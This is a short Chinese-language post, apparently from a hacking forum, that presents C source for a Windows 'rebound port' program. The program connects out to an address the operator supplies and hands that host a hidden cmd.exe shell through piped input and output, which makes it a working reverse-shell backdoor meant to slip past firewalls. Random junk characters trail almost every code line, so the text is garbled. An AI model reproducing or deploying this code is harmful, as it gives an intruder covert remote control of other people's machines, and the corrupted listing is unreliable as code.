这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 #Ny+6XM
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/* ============================== ?dCJv_w
Rebound port in Windows NT iqsR]mab
By wind,2006/7 W3R43>$
===============================*/ nwDGzC~y<
#include dXU6TCjU7
#include ?]TtUoY=)F
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#pragma comment(lib,"wsock32.lib") jHx\YK@e\
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void OutputShell(); I}]UQ4XJ
SOCKET sClient; {D[z>I;D
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; hN!{/Gc|
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void main(int argc,char **argv) Gxt6]+r
{ !4YmaijeN
WSADATA stWsaData; X7MA>j3m
int nRet; 0]GenT"
SOCKADDR_IN stSaiClient,stSaiServer; <jLL2-5r0
w.=rea~
if(argc != 3) 4NIb_E0
{ aq(i^d
printf("Useage:\n\rRebound DestIP DestPort\n"); Kzwe36O;?
return; yv$hIU2X
} $5Rx>$~+d
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WSAStartup(MAKEWORD(2,2),&stWsaData); )31xl6@
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &.Yu%=}
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stSaiClient.sin_family = AF_INET; /d$kz&aIV
stSaiClient.sin_port = htons(0); N4WX}
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); A 0;ng2&
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) w3ZOCWJS
{ 5<7sVd.
printf("Bind Socket Failed!\n"); @ xTVX'$
return; wV4MP1c$
} Nfmr5MU_
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stSaiServer.sin_family = AF_INET; }rWg']
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); DMKtTt[}
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); [Z!oVSCZD%
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) m;>:mwU
{ iN5[x{^t
printf("Connect Error!"); ?H8dyQ5"
return; ]tmMk7
} veS)
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OutputShell(); "R%
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void OutputShell() X*&Thmee
{ 9]I{GyH
char szBuff[1024]; mCQ:<#
SECURITY_ATTRIBUTES stSecurityAttributes; ~/2OK!M
OSVERSIONINFO stOsversionInfo; B}N1}i+
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; r(zn1;zl
STARTUPINFO stStartupInfo; t&_X{!1X"w
char *szShell; &(|x-OT
PROCESS_INFORMATION stProcessInformation; GP`sOPr
unsigned long lBytesRead; Ejyo
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); iaRCV6cl
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); =L{-Hu/j
stSecurityAttributes.lpSecurityDescriptor = 0; ?&VKZSo
stSecurityAttributes.bInheritHandle = TRUE; 9N6 \Ou~
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); KfQR(e9n
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); $JiypX^DOP
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); VaO[SW^
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !;Pp)SRzKG
stStartupInfo.wShowWindow = SW_HIDE; JX#0<U|L
stStartupInfo.hStdInput = hReadPipe; .(yJ+NU
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; nB4+*=$E+-
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GetVersionEx(&stOsversionInfo); caV DV
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switch(stOsversionInfo.dwPlatformId) ^szi[Cj
{ P5lk3Zg'
case 1: Iq
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szShell = "command.com"; 1*trtb4F
break; 2_)gJ_kP
default: @H}Hjg_>m
szShell = "cmd.exe"; ? ^`fPH=
break; dKa2_|k'
} r5NH*\Q
}$(\,SzW
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Fj"/jdM
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send(sClient,szMsg,77,0); B_XX)y %V
while(1) Au:R]7
{ =RQI5nHdw
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 3h}i="i
if(lBytesRead) \(r$f!`
{ ;{v2s;
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 7&w|
send(sClient,szBuff,lBytesRead,0); f|~X}R
} b|\dHi2FT
else bo@,
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{ z8xBq%97us
lBytesRead=recv(sClient,szBuff,1024,0); W mx3@]<
if(lBytesRead<=0) break; +M<W8KF
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 'c3'eJ0
} B|'}HBkP
} Tf('iZ2+
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return; T>J ,kh
}